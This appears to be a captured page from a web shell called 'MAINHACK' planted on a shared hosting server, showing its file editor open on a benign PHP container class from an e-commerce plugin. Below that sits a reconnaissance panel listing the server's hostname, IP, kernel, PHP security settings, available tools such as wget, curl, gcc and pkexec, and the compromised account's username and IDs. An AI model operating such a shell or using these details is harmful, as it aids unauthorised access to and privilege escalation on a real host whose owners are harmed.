[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Container.php
File is not writable. Editing disabled.
<?php /** * Container class file. */ namespace Automattic\Kkart; use Automattic\Kkart\Internal\DependencyManagement\ServiceProviders\ProxiesServiceProvider; use Automattic\Kkart\Internal\DependencyManagement\ExtendedContainer; /** * PSR11 compliant dependency injection container for Kkart. * * Classes in the `src` directory should specify dependencies from that directory via constructor arguments * with type hints. If an instance of the container itself is needed, the type hint to use is \Psr\Container\ContainerInterface. * * Classes in the `src` directory should interact with anything outside (especially code in the `includes` directory * and WordPress functions) by using the classes in the `Proxies` directory. The exception is idempotent * functions (e.g. `wp_parse_url`), those can be used directly. * * Classes in the `includes` directory should use the `kkart_get_container` function to get the instance of the container when * they need to get an instance of a class from the `src` directory. * * Class registration should be done via service providers that inherit from Automattic\Kkart\Internal\DependencyManagement * and those should go in the `src\Internal\DependencyManagement\ServiceProviders` folder unless there's a good reason * to put them elsewhere. All the service provider class names must be in the `SERVICE_PROVIDERS` constant. */ final class Container implements \Psr\Container\ContainerInterface { /** * The list of service provider classes to register. * * @var string[] */ private $service_providers = array( ProxiesServiceProvider::class, ); /** * The underlying container. * * @var \League\Container\Container */ private $container; /** * Class constructor. */ public function __construct() { $this->container = new ExtendedContainer(); // Add ourselves as the shared instance of ContainerInterface, // register everything else using service providers. $this->container->share( \Psr\Container\ContainerInterface::class, $this ); foreach ( $this->service_providers as $service_provider_class ) { $this->container->addServiceProvider( $service_provider_class ); } } /** * Finds an entry of the container by its identifier and returns it. * * @param string $id Identifier of the entry to look for. * * @throws NotFoundExceptionInterface No entry was found for **this** identifier. * @throws Psr\Container\ContainerExceptionInterface Error while retrieving the entry. * * @return mixed Entry. */ public function get( $id ) { return $this->container->get( $id ); } /** * Returns true if the container can return an entry for the given identifier. * Returns false otherwise. * * `has($id)` returning true does not mean that `get($id)` will not throw an exception. * It does however mean that `get($id)` will not throw a `NotFoundExceptionInterface`. * * @param string $id Identifier of the entry to look for. * * @return bool */ public function has( $id ) { return $this->container->has( $id ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A